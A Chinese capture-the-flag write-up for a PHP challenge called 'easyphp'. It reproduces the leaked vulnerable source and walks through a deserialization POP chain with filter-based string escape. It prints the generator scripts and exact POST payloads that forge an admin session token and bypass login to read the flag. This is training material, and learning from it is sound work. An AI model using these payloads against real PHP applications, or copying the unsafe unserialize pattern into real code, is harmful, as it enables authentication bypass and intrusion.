前言
知识点:
- www.zip源码泄露
- PHP反序列化链POC
- 代码审计
WP
进入环境,题目是easyphp我就感觉要审源码。。。试了一下常见的泄露,发现存在www.zip。把代码下载下来进行一下审计,发现update.php和lib.php可以利用:
<?php
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
echo "ok";
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
//print_r($Info);
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
//var_dump($this->sql);
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
update.php
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>
update.php那里只是输出你没登录,接下来的代码还会执行。update()方法中会进行反序列化。
简单的理一下POC的思路。本以为是利用User类的__construct
方法来读flag.php,但是发现safe()过滤了flag和\
,因此会被过滤,无法读取。
但是UpdateHelper类中也有一个__destruct()
方法,会echo。
正好User类存在__toString()
方法:
再利用$this->nickname->update()
去触发Info类的__call()
:
这样就可以调用一个login方法。但是怎么得flag?
lib.php中有2个login方法,User类得login方法可以让$_SESSION['login']=1
,但是必须返回了id:
跟进一下第16行得login方法,看一下逻辑:
想要正常返回$idResult
,要么$this->token=='admin'
,要么就是查对了用户名和密码才可以。
这时候便很自然得可以想到思路了,因为反序列化得时候除了User类中login的这里不可控,其他基本都是可控的。:
也就是说,要分2次。第一次反序列化最终调用的是dbCtrl类的login,因为这里的sql语句和dbCtrl都可控,因此可以成功的$_SESSION['token']=$this->name;
。控一下name,让它是admin。
第二次反序列化最终调用User类的login方法。因为这里:
所以这时候$this->token='admin'
,即这里满足,可以成功查到id:
这样可以$_SESSION['login']=1;
得到flag:
接下来就要想办法构造POC了,先是第一次反序列化:
<?php
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct()
{
$this->age = "1";
$this->nickname = "2";
$this->CtrlCase=new dbCtrl();
//$this->CtrlCase=new User();
}
}
class User
{
public $id="1";
public $age;
public $nickname;
public function __construct()
{
$this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname=new Info();
//$this->nickname->CtrlCase=new User();
}
}
Class UpdateHelper{
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name="admin";
public $password="1";
public $mysqli;
public $token;
public $feng;
public function __construct()
{
$this->feng=new UpdateHelper();
//$this->token="admin";
}
}
$a=new Info();
//$a->CtrlCase=new dbCtrl();
$a->CtrlCase->feng->sql=new User();
//$a->CtrlCase->feng->sql->nickname->CtrlCase=new User();
//var_dump($a->CtrlCase->feng->sql->nickname);
//var_dump($a);
echo serialize($a);
需要注意之所以new UpdateHelper()没有写在Info类中,而是写在$this->CtrlCase
中,是因为这里:
public function update(){
$Info=unserialize($this->getNewinfo());
//print_r($Info);
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
如果$this->age
或者$this->nickname
设成UpdateHelper
的话,会因为把类对象当成字符产而报错。
产生的payload是这样:
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}
通过反序列化字符逃逸,得到这样:
O:4:"Info":3:{s:3:"age";s:901:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}";s:8:"nickname";N;s:8:"CtrlCase";N;}
post传参:
age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}
第二次反序列化就同理了:
<?php
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct()
{
$this->age = "1";
$this->nickname = "2";
//$this->CtrlCase=new dbCtrl();
//$this->CtrlCase=new User();
}
}
class User
{
public $id="1";
public $age;
public $nickname;
public function __construct()
{
$this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname=new Info();
//$this->nickname->CtrlCase=new User();
}
}
Class UpdateHelper{
public $sql;
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name="admin";
public $password="1";
public $mysqli;
public $token;
public $feng;
public function __construct()
{
$this->feng=new UpdateHelper();
//$this->token="admin";
}
}
$a=new Info();
$a->CtrlCase=new dbCtrl();
$a->CtrlCase->feng->sql=new User();
$a->CtrlCase->feng->sql->nickname->CtrlCase=new User();
//var_dump($a->CtrlCase->feng->sql->nickname);
//var_dump($a);
echo serialize($a);
age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunionunionunionunionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}}}}}}}&username=admin&password=1
最终成功得到flag: